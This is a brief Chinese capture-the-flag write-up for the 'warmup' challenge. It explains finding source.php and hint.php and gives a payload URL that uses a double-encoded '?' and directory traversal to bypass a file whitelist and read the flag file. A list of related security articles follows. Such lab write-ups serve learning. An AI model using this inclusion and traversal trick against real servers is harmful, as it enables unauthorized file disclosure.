原题
解题思路
只有一张图片，就查看源代码，有一个source.php。
查看source.php，白名单中还有一个hint.php。
hint.php告诉我们flag的位置ffffllllaaaagggg
但是直接跳转是没用的，构造payload。
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
攻防世界-warmup
mysmartwish2023-08-20 23:17
原题
相关推荐
Fnetlink14 小时前
FNET 云网安 260819数据知道7 小时前
网络安全实战：服务指纹识别——Banner、协议探测、版本漏洞关联网安蟹佬霸8 小时前
CTF Web方向解题全攻略：从信息收集到getshell（附实战payload与脚本）网安蟹佬霸10 小时前
Webshell免杀与检测实战：从一句话木马到加密流量qyyyyy57011 小时前
英文漏洞报告 PDF 怎么读？CVE、影响范围与修复建议翻译流程00后程序员张12 小时前
SSL Pinning 抓包抓不到明文？绕过证书固定的几种方案数据知道13 小时前
网络安全实战：子域名枚举工具链——Subfinder、Amass 与证书透明度的艺术HackTwoHub15 小时前
开箱即用 AI 渗透测试系统，整合多类AI工具、Web安全、内网攻防、二进制逆向、API测试、流量分析等多个安全领域游戏开发爱好者82 天前
带签名时间戳接口的重放与压力测试实战，用动态值在发送前现算签名笨鸟先飞，勤能补拙2 天前
AI与深度学习：从原理到应用